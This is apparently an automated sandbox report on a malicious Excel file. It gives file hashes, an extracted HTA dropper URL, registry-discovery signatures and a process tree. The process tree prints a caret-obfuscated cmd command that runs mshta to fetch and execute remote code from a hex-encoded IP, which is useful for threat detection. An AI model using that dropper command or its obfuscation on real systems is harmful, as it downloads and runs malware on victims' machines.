2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41

General

Target

2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41.xls
Size

69KB
MD5

3a1495184751bb9daebf21f57c88896d
SHA1

5aa023ed500a7f8b476c404b26e79a7600ecd3d6
SHA256

2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41
SHA512

738dee6362259030dafd18956535c5726a3e7bcb783392eb0b9fcc48dc76c6dad8fae675fc56262936847b75b92c2aecbda2c00f6c838eb084a45a027fa3a827

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2104	3560	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
40	2376	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3560	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3560	EXCEL.EXE
3560	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE
3560	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3560 wrote to memory of 2104	3560	EXCEL.EXE	70
PID 3560 wrote to memory of 2104	3560	EXCEL.EXE	70
PID 2104 wrote to memory of 2376	2104	cmd.exe	72
PID 2104 wrote to memory of 2376	2104	cmd.exe	72

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2c9af469fcb89bb2e93d1ac70ce0bec912b78d5c3cbadccc3040c18dd03f5e41.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3560
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:2376

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3560-115-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3560-116-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3560-117-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3560-118-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3560-127-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3560-128-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

Filesize
64KB

Download
memory/3560-129-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

Filesize
64KB

Download
memory/3560-297-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3560-298-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3560-299-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3560-300-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads